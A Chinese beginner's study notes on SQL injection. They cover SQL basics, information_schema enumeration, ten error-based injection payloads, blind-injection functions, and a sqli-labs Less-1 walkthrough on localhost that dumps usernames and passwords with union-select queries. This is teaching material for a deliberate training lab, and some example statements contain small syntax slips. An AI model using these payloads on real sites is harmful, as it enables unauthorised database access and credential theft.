小白的三周sql注入学习总结
本篇文章是我花了三周时间学习整理的,若有问题请大佬们指正,我会及时更正的!
第一章 Sql注入原理
1.1 系统访问流程
以B/S架构网站系统为例

浏览器用户向web数据库提出访问请求,web服务器会根据用户提交的访问数据带入数据库服务器中进行查询。数据库查询并匹配到正确的内容后,提交正确数据给web服务器,并给用户返回所访问的页面内容。
1.2 为何会存在sql注入

其主要原因是开发人员的疏忽或安全意识不到位,导致在用户访问web服务器时输入的请求内容可以被数据库直接执行。其实就是程序的BUG,可以通过代码控制用户输入数据的可靠性进行规避。
第二章 Sql语言基础
sql注入漏洞,其实最终是通过控制数据库的手段来达到注入获取信息的目的。那么学习sql语言是我们学习sql注入的基础。
2.1 常见sql命令
- 在数据库服务器中新建数据库:create database_name;命令
- 选中数据库:use database_name;命令
- 删除数据库命:drop database_name;命令
- 查询数据库服务器中的数据库:show databases;
- 在数据库中增加数据库表:create table table_name;命令
- 在数据库中删除数据表:drop table table_name;命令
- 查询数据库中的数据表:show tables;
- 在数据表中插入数据:insert into table_name value('数据内容','');数据内容需符合创建的数据表的数据类型。常用的数据类型:
- 查询数据库中数据:select column_name from table_name where='clause' limit number,number;
- Limit:limit 0,1 第一个数字代表的是从第几条数据开始,第二个数字代表的是显示多少条数据。
- Where子句:select * from table_name where=1 and/or 1=1 and表示where后数据需要同时正确才返回数据,or表示只要一个正确即返回数据;WHERE 子句类似于程序语言中的 if 条件,根据 MySQL 表中的字段值来读取指定的数据。
- 联合查询:Selest * from table_name where='' union select * from table_name where='';
- 排序:select * from table_name order by number asc/desc(列名); order by后为排序对象number为第几列,或选中列名进行排序。Asc为升序desc为降序。
2.2 Sql注入常用语法解析
2.2.1 Sql自带查询命令
数据库本身就自带一些列的查询命令,当我们注入时可以使用这些命令进行查询,获取我们所需的数据。
1.version()——MySQL版本

2.user()——数据库用户名

3.database()——数据库名

4.@@datadir——数据库路径

5.@@version_compile_os——操作系统版本
2.2.2 Information_schema结构解析
在mysql数据库服务器中有一个很重要的数据库,登录mysql数据库后我们使用show databases命令查看。

其中红框标出的就是mysql默认存在的一个数据库,这个数据库中包含了我们创建的数据库名、表名、列名等信息。
为了验证information_schema中是否存在此类信息,我们创建一个新的数据库进行测试。通过create database test1;命令添加一个test1数据库。


现在数据库已添加成功,通过use information_schema;命令选中information_schema数据库后再使用show tables;查看此数据库中所有表信息。

查看后发现Information_schema表中是没有我们创建的数据库名信息的,其实数据库名数据是存在Information_schema中schemata表中。我们通过select * from schemata;查询schemata表中的信息。
我们可以看到此时我们新建的test1数据库已经存在。且是在schema_name这一列中的数据。由此我们可以构造数据库语句select schema_name from information_schema.schemata;来对数据库服务器进行查询当前所有的数据库名。

拆解:
1.Select * from information_schema.schemata;
2.Select schema_name from information_schema.schemata;
那么数据表信息怎么查询?
我们通过CREATE TABLE users(username VARCHAR(20),passwd VARCHAR(20));命令在tset1数据库中添加一个users的表并设置列名为username及passwd。


数据表是存在于information_schema下的tables表中,由于tables表中数据量较大,无法直观的在全部信息中找到,所以我们需要构造数据库语句限定查找条件。通过限定表所属的数据库的方式进行查询,sql语句如下:Select table_name from information_schema.tables where table_schema='test1';

由此我们查询到了数据库test1中的表信息,其中就是我们新建的users表。
拆解:
1.select * from information_schema.tables
2.Select table_name from information_schema.tables
3.Select table_name from information_schema.tables where table_schema='tset1';
查列是通过利用information_schema下columns表中存储的所有列信息的数据。我们构造数据库语句,限定查询表名为users表中的列名信息。语句如下:select column_name from information_schema.columns where table_name='users';

在数据库中运行后发现我们之前创建的数据已经被查询到,但还存在其他的数据,是因为users的表在别的库中也有同名表。由此我们可以增加and条件限定数据库名为test1中users表的列名信息。select column_name from information_schema.columns where table_name='users' and table_schema='test1';

我们通过查库查表查列以后需要查寻到列中所存在的数据,这也是黑客在进行渗透注入的最终目的。我们在users表中插入一行数据,insert into users values ('laifu','xiaoqiang');


既然我们已知了列名表名及数据库名,那么我们可以通过select username,passwd from test1.users;命令进行查询。

可简写成select * from users;
2.2.3 Sql中的简便命令
当我们已经确认系统存在漏洞,并获取了列、表、库的信息,一般情况下系统都只会输出一条信息,那么我们可以之前构造的sql语句只能一条一条的进行数据输出。如何做到一次性输出较多数据呢?
首先在原来users一条数据的基础上增加几条数据。


我们可以在所需查询的数据名前加上group_concat(数据名)并用括号包裹数据名的方式进行查询,如查询用户名select group_concat(username) from test1.users;

这时我们可以获取到username的所有数据。接下来获取passwd中的数据。
同样我们获得了其中的数据。那么在我们渗透测试时是没有办法直接的将username及passwd对应输出。那么我们可以使用concat_ws('','');参数将两个数据拼接展示。
select concat_ws('~',username,passwd) from test1.users;其中'~'代表的是拼接符。
第三章 Sql注入的分类
3.1 Sql注入的判断方式
其主要原理是判断他报错的原因是否是将我们的数据代入数据库中进行查询。若正常情况下输入不可靠,系统将不会代入数据库中查询返回的也只是404页面不会是报错页面。
3.2 报错注入
其主要原理是利用数据库本身存在的一系列bug问题,通过执行错误的sql命令数据库会在报错信息中显示数据库所储存的相关数据。
3.2.1 十种报错语句
摘自:https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
3.3 不报错注入
除了报错注入之外,所有的注入类型可以总结为不报错注入,那么在不报错注入中较为特殊的两种注入方式布尔盲注及时间盲注。
3.3.1 布尔盲注
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,多次查询数据库名等信息的数据或数据的ascii值,使web页面返回true或者false,当页面返回true时证明猜测数据或数据的ascii值正确。从而达到注入的目的来获取信息
3.3.2 时间盲注
时间盲注一般适用于于页面没有回显字段(不支持联合查询),且web页面不会发生变化,构造SQL语句,在布尔盲注查询数据库名等信息的数据或数据ascii值的基础上增加时间变量,当猜测数据为true时立即返回web页面,为false时则延时返回。通过延时返回或立即返回的情况,可判断猜测字母ascii值的正确性,从而达到注入的目的来获取信息。
3.3.3 盲注的常用命令
3.3.3.1 布尔盲注
1 left()函数:
left (database(),1)='s' #left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
regexp函数:select user() regexp 'r' #user()的结果是root,regexp为匹配r与root是否正确
2 like函数:
select user() like 'ro%' 匹配与regexp相似
3 substr(a,b,c)
select substr() substr(a,b,c)从位置b开始,截取a字符串c位长度
4 ascii()
将某个字符转化为ascii值
chr('数字') 或者是ord('字母') 使用python 中的两个函数可以判断当前ascii值是多少
5 select left (database(),1)='s'
判断数据库前一位是否为s
6 select database() regexp 's';
匹配第一个字符是否为s
7 select database() like 's%';
匹配第一个字符是否为s,
8 select substr((select database()),1,1)='s';
匹配第一个字符是否是s
9 select substr((select database()),1,3)='s';
判断数据库服务器中第一个数据库名的前三个字符是否是sec
10 select ascii(substr(select database()),1,1);
在数据库中查询数据库名第一位字符的ascii值:
11 select ascii(substr(select database()),1,1)>110;
判断数据库名字符第一位ascii值如果大于110,则返回1,反之为0
3.3.3.2 时间盲注
1 select if()
if语句与编程语言中的if类似
2 select database()
查询数据库
substr((select database()),1,1)
ascii(substr((select database()),1,1))
select if (ascii(substr((select database()),1,1)>10,2,sleep(5));
select length(security)
第四章 sql实战演练
4.1 sqli-labs环境
我们可以使用sqli-labs环境进行渗透测试。
Windows系统可以使用phpstudy进行环境搭建。
mac系统可以使用mamp或xamp进行环境搭建
sqli-labs下载地址:https://github.com/Audi-1/sqli-labs
4.2 sqli-labs关卡流程
4.2.1 less1
以sqli-labs-less第一关为例。
在链接后输入'测试是否存在注入,发现'已被带入数据库进行查询并报错,判断存在sql注入。
那么我们使用order by 函数猜测数据库表中的列数为4。
Order by函数是用于对列中数据进行排序,那么想让第几列排序那么就加上第几列的数字。注入行为时需要在语句后加上--+或#,将系统中后续sql语句给注释掉。
返回结果发现页面报错,那么数据库是小于4列的,我们接着使用order by3进行测试。
返回正常,那么由此我们可以判断这个表中有3列数据。
我们通过联合查询进行数据回显测试。发现此时数据库是可以回显的。

那么我们可以利用这里的数据回显进行数据库名的查询,构造sql语句http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select schema_name from information_schema.schemata limit 0,1),3 --+可以得到第一个结果。

但是一个一个查询太慢了,我们使用group_concat命令进行查询。

得到了这一系列数据库名,发现我们所需的数据库名为security,查询其中表信息,同样也是用group_concat命令。http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema =0x7365637572697479),3 --+这里由于where=的条件需要使用单引号我们为了减少错误的可能性对security进行了16位进制的转换使数据库可以直接识别。

由此我们获取到了数据库中的表信息,通过常识users是存放用户信息的,那么我们查询users中的列名信息。

我们便得到了users中的列名信息,从列名判断username为用户名,password为用户密码。此时我们可以使用concat_ws命令来对用户名和密码进行组合输出。

由此我们便得到了这个系统的所有用户名及密码。

浙公网安备 33010602011771号